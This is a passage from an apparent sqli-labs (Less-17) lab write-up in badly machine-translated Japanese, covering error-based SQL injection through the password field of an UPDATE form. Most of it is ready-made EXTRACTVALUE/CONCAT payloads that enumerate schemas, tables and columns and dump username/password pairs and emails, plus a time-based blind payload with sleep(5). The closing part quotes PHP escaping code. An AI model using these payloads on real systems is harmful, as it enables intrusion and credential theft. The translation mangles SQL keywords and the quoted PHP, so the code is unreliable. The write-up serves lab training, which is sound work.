私たちは、あなた自身のペイロードを構築し、選択して使用するUPDATE文は、同じであることを利用、我々は唯一のオリジナルの閉鎖を必要とする、このオフはパスワードを変更するためのプロセスで見ることができます。
エラーをお試しください
ユーザー名:管理者
パスワード:1'
あなたのSQL構文でエラーが発生しています。マニュアルラインで「管理者」」の近くに使用する権利構文についてはMySQLサーバのバージョンに対応していることを確認する1
参照ADMIN「」パスワードの過程における使用のための指示があります。
次に、注射のためのブラインドを使用します。
まず、ここでEXTRACTVALUE()関数のエラー注入を使用する方法について紹介しました。
EXTRACTVALUE():XMLドキュメントのクエリ機能
構文:extractValueの(ターゲットXML文書、XMLパス)
2番目のパラメータは、文字の位置を特定するための場所で操作可能なXMLの位置、XML文書である/ XXX / XXX / XXX / ...我々は異なるフォーマットを書く場合は、この形式は、それがエラーになり、書き込みに私たちを返します。違法なコンテンツ、違法なコンテンツのフォーマットと、これは、我々は、クエリの内容を望むものです。
エラーが見つからないない場合でも2番目のパラメータクエリ通常の位置フォーマット/ XXX / XX / XX / XX、
ID = 1及び(EXTRACTVALUE( '何か'、 '/ X / X-X'))security.usersからユーザ名を選択します。
使用CONCAT()スプライス「/」と同じ効果が、次の文は、クエリ「何でも」位置である/データベース()コンテンツです
ID = 1及び(EXTRACTVALUE( '何'、CONCAT( '/'、(選択データベース()))))security.usersからユーザ名を選択します。
しかし、ここには構文エラーではなく、エラーがない、故意に、次の構文エラーを書か:
ID = 1と(EXTRACTVALUE( '何'、CONCAT( '〜'、(選択データベース()))))security.usersからユーザー名を選択します。
ないXML形式の構文エラーが、何ので、その目的を達成することを、認識されていないコンテンツを表示されます - それは、コンテンツの冒頭で、見ることができるように。
、EXTRACTVALUE()は、最大の長さの文字列を照会することができるもう一つ注意すべきは、我々はより多くの32以上の結果が必要な場合、あること、32ですが、あなたは、()関数の傍受をサブストリングに使用するビューを必要とする32
5概略的にここにクエリの前に:
ID = 1と(EXTRACTVALUE( '何'、CONCAT( '〜'、((選択したデータベースを())サブストリング、1,5))))security.usersからユーザー名を選択します。
まあ、今はそれを試して、原理を理解しています。
まず、データベース()の値を求めます
uname =管理&passwdファイル= 1'とEXTRACTVALUE(1、CONCAT(0x7eの、(選択データベース())、0x7eの))# &提出=送信
復号の結果 - ASCIIコードが0x7Eを、です。
その後、select文は、データベース、テーブル名とフィールド名の名前を取得し続けるために、ライブラリを使用することができます。組合と同じクエリが注入されました。エラー注入及び表示結果ので、単一のライン表示の結果を印刷するためのクエリ結果に適用文、または使用GROUP_CONCAT機能の使用を制限することが必要です。
他のデータベースには、ライブラリ名を取得します
uname =管理&passwdファイル= 1' とEXTRACTVALUE(1、CONCAT(0x7eの、(information_schema.schemataリミット0,1からSCHEMA_NAMEを選択)、0x7eの))#&提出=送信
また、データベースのライブラリ名のすべてのアウトGROUP_CONCAT(SCHEMA_NAME)ワンタイムチェックを使用することができます
uname =管理&passwdファイル= 1' とEXTRACTVALUE(1、CONCAT(0x7eの、(information_schema.schemataからGROUP_CONCAT(SCHEMA_NAME)を選択)、0x7eの))#&提出=送信
結果は、最初の32ビットを示しているので、上記のように、我々は32の後にデータを表示するサブストリング()関数を使用することができ
uname =管理&passwdファイル= 1' とEXTRACTVALUE(1、CONCAT(0x7eの、サブストリングinformation_schema.schemataから((選択GROUP_CONCAT(SCHEMA_NAME))、30,32)、0x7eの))#&提出=送信
データベーステーブルの現在の名前を取得します。
uname =管理&passwdファイル= 1' とEXTRACTVALUE(1、CONCAT(0x7eの、(選択GROUP_CONCAT(TABLE_NAME)INFORMATION_SCHEMA.TABLES TABLE_SCHEMA =データベース())、0x7eの)から)#&提出=送信
フィールド名のユーザーテーブルを取得します。
uname =管理&passwdファイル= 1' とEXTRACTVALUE(information_schema.columnsから1、CONCAT(0x7eの、(選択GROUP_CONCAT(COLUMN_NAME)TABLE_SCHEMA =データベース()とTABLE_NAME = 'ユーザー')、0x7eの))#&提出=送信
コンテンツusersテーブルへのアクセス
uname =管理&passwdファイル= 1' とEXTRACTVALUE(1、CONCAT(0x7Eを、ユーザーからの(選択GROUP_CONCAT(ユーザ名、0x3e、パスワード))、0x7eの))#&提出=送信
上記のように与えられます:あなたは、FROM句に更新のターゲット表に「ユーザ」を指定することはできません
しかし、我々は、他のテーブルを爆破するこの方法を使用することができます
uname =管理&passwdファイル= 1' とEXTRACTVALUE(1、CONCAT(0x7eの、(EメールからGROUP_CONCAT(ID、0x3a、EMAIL_ID)を選択)、0x7eの))#&提出=送信
もちろん、遅延が注入をすることができる、あなたは時間遅延の大きな効果を見ることができます
uname = 管理&passwdファイル= 11'andもし(アスキー(SUBSTR(データベース()、1,1))= 115,1、睡眠(5))# &提出=送信
他の方法は、ここで実証されていません。ヨ自分で考えます!〜
質問:唯一のselect文を作るために、ソースコードを見ると、なぜ我々はそれをユーザ名から構築していませんか?
実際には、我々はソースコード内の関数を参照してくださいすることができます。check_input()関数。
関数check_input($値) { 場合(空($値)!) { //切り捨ては(コメントを参照してください) $値を= SUBSTR($値、0,15); } //魔法の引用符が有効にstripslashes場合 IF(get_magic_quotes_gpc()) { $値=にstripslashes($値)。 } //引用でない場合は数 あれば(!のctype_digit($値)) { $値= "'"。mysql_real_escape_stringの($値)。"'"; } 他 { $値= INTVAL($値)。 } $の値を返します。 }
ここでは、あなたが理解するいくつかの機能を紹介します。
★にaddslashes()
addslashes()関数は、文字列が事前に定義されたバックスラッシュ文字の前に追加され返されます。
事前定義済みの文字は次のとおりです。
-
単一引用符(「)
-
二重引用符(「)
-
バックスラッシュ(\)
-
ヌル
ヒント:この機能は、データベースおよびデータベースのクエリ文字列準備中の文字列を格納するために使用することができます。
注:デフォルトでは、PHPは全てのGETのために、POSTおよびCOOKIEデータが自動的にaddslashesを実行します()。これは二重のエスケープにつながるので、あなたは、文字列の使用にaddslashes()をエスケープしていてはいけませんので。これが検出された()get_magic_quotes_gpcが発生したとき関数を使用することができます。
構文:にaddslashes(文字列)
パラメータ |
説明 |
ストリング |
必須。エスケープする文字列を指定します。 |
戻り値: |
エスケープされた文字列を返します。 |
PHPのバージョン: |
4+ |
★にstripslashes()
削除された機能 にaddslashes()は、 バックスラッシュ機能を追加しました。
★ )(mysql_real_escape_stringの
この関数は特殊文字を使用するSQL文で文字列を脱出しました。
次の文字が影響を受けます。
-
\ X00
-
\ nは
-
\ rを
-
\
-
"
-
"
-
\ X1A
成功した場合、この関数はエスケープされる文字列を返します。それが失敗した場合は、falseが返されます。
構文:mysql_real_escape_stringの(文字列、接続)
パラメータ |
説明 |
ストリング |
必須。エスケープする文字列を指定します。 |
接続 |
オプション。規定のMySQL接続。指定されていない場合は、接続で使用されています。 |
説明:この関数は、アカウントに接続の現在の文字セットを取って、固定するのに使用することができ、文字列の特殊文字をエスケープします するmysql_query()を。
()の私達のcheck_inputのless17では、エスケープのさまざまなを処理するユーザ名は、ので、ここでユーザー名を使用して注入することはできません。
参考: